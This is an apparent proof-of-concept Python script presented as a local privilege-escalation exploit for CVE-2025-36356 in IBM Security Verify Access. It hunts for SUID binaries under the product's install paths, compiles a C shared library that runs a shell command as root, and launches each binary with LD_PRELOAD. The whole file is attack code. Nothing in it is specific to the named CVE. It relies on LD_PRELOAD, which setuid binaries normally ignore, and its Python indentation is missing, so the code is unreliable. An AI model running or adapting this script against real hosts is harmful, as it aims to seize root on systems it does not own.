# CVE-2025-36356 - IBM Security Verify Access Local Privilege Escalation PoC
# This PoC demonstrates the concept of exploiting a SUID binary or
# a service running with root privileges to escalate privileges.
import os
import subprocess
import sys
def check_ibm_verify_access():
"""Check if IBM Security Verify Access is installed on the system."""
# Common installation paths for IBM Security Verify Access
install_paths = [
"/opt/ibm/verify-access",
"/opt/IBM/Security/VerifyAccess",
"/usr/local/ibm/verify-access",
"/var/ibm/isva"
]
for path in install_paths:
if os.path.exists(path):
print(f"[+] Found IBM Security Verify Access at: {path}")
return path
print("[-] IBM Security Verify Access not found.")
return None
def find_suid_binaries(install_path):
"""Find SUID binaries within the IBM Security Verify Access installation."""
print(f"[*] Searching for SUID binaries in {install_path}...")
try:
result = subprocess.run(
["find", install_path, "-perm", "-4000", "-type", "f"],
capture_output=True, text=True, timeout=30
)
suid_bins = result.stdout.strip().split("\n")
if suid_bins and suid_bins[0]:
print(f"[+] Found {len(suid_bins)} SUID binaries:")
for binary in suid_bins:
print(f" -> {binary}")
return suid_bins
except Exception as e:
print(f"[-] Error searching for SUID binaries: {e}")
return []
def exploit_privesc(target_binary):
"""
Attempt privilege escalation by exploiting a binary
that runs with excessive privileges.
"""
print(f"[*] Attempting privilege escalation via: {target_binary}")
# Common exploitation techniques:
# 1. Path hijacking - if the binary calls other commands without full path
# 2. Shared library injection - LD_PRELOAD attack
# 3. Command injection via arguments
# Technique 1: Check if binary is vulnerable to path hijacking
print("[*] Checking for path hijacking vulnerability...")
ldd_result = subprocess.run(
["ldd", target_binary],
capture_output=True, text=True
)
print(f"[*] Library dependencies:\n{ldd_result.stdout}")
# Technique 2: Try to exploit via shared library injection
print("[*] Attempting LD_PRELOAD injection...")
payload_c = """
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
if (getuid() == 0) {
system("/bin/bash -c 'id > /tmp/root_proof.txt; echo \"Privilege escalation successful\" > /tmp/privesc_result.txt'");
}
}
"""
payload_path = "/tmp/payload.c"
so_path = "/tmp/payload.so"
with open(payload_path, "w") as f:
f.write(payload_c)
# Compile the shared library
compile_result = subprocess.run(
["gcc", "-shared", "-fPIC", "-nostartfiles", "-o", so_path, payload_path],
capture_output=True, text=True
)
if compile_result.returncode == 0:
print(f"[+] Payload compiled successfully: {so_path}")
# Attempt exploitation
env = os.environ.copy()
env["LD_PRELOAD"] = so_path
result = subprocess.run(
[target_binary],
env=env,
capture_output=True, text=True,
timeout=10
)
# Check if exploitation was successful
if os.path.exists("/tmp/root_proof.txt"):
with open("/tmp/root_proof.txt", "r") as f:
print(f"[+] Exploitation successful! Root proof: {f.read()}")
return True
else:
print("[-] LD_PRELOAD technique did not succeed.")
else:
print(f"[-] Failed to compile payload: {compile_result.stderr}")
return False
def main():
print("=" * 60)
print("CVE-2025-36356 PoC")
print("IBM Security Verify Access Local Privilege Escalation")
print("=" * 60)
# Check current user
current_uid = os.getuid()
print(f"[*] Current UID: {current_uid}")
if current_uid == 0:
print("[!] Already running as root. Nothing to escalate.")
return
# Step 1: Find IBM Security Verify Access installation
install_path = check_ibm_verify_access()
if not install_path:
print("[-] Target application not found. Exiting.")
sys.exit(1)
# Step 2: Find SUID binaries
suid_binaries = find_suid_binaries(install_path)
if not suid_binaries:
print("[-] No SUID binaries found. Trying alternative methods...")
# Try to find running processes with root privileges
ps_result = subprocess.run(
["ps", "aux"],
capture_output=True, text=True
)
for line in ps_result.stdout.split("\n"):
if "isva" in line.lower() or "verifyaccess" in line.lower():
print(f"[*] Found related process: {line}")
# Step 3: Attempt exploitation
for binary in suid_binaries:
if os.path.isfile(binary):
if exploit_privesc(binary):
print("[+] Privilege escalation completed successfully!")
break
else:
print("[-] Could not escalate privileges with available methods.")
if __name__ == "__main__":
main()